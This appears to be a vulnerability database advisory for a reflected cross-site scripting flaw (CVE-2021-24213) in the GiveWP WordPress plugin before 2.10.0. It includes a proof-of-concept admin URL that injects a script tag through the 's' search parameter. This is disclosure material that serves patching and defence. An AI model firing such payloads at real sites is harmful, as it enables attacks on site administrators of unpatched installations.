GiveWP < 2.10.0 – Reflected Cross Site Scripting (XSS) | CVE 2021-24213 | Plugin Vulnerabilities

Description

The plugin was affected by a reflected Cross-Site Scripting vulnerability inside of the administration panel, via the 's' GET parameter on the Donors page.

Proof of Concept

https://example.com/wp-admin/edit.php?s=%22%3E<script>alert(0)</script>&start-date&end-date&form_id=0&action=-1&paged=1&give_action=delete_bulk_donor&orderby=id&order=DESC&action2=-1&post_type=give_forms&page=give-donors&view=donors

Affects Plugins

Fixed in 2.10.0

References

CVE

URL

https://bentl.ee/posts/cve-givewp/

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

Austin Bentley

Submitter

Austin Bentley

Submitter website

https://bentl.ee/

Verified

Yes

WPVDB ID

da4ab508-a423-4c7f-a1d4-42ec6f989309

Timeline

Publicly Published

2021-03-23 (about 4 years ago)

Added

2021-03-23 (about 4 years ago)

Last Updated

2021-03-24 (about 4 years ago)

Other

Published

Title

Published

2024-11-08

Title

best bootstrap widgets for elementor <= 1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2025-03-24

Title

Teleport <= 1.2.4 - Reflected Cross-Site Scripting

Published

2025-08-14

Title

WordLift < 3.54.6 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2025-09-17

Title

Quantities and Units for WooCommerce <= 1.0.13 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2017-04-14

Title

Add Any Extension to Pages <= 1.3 - XSS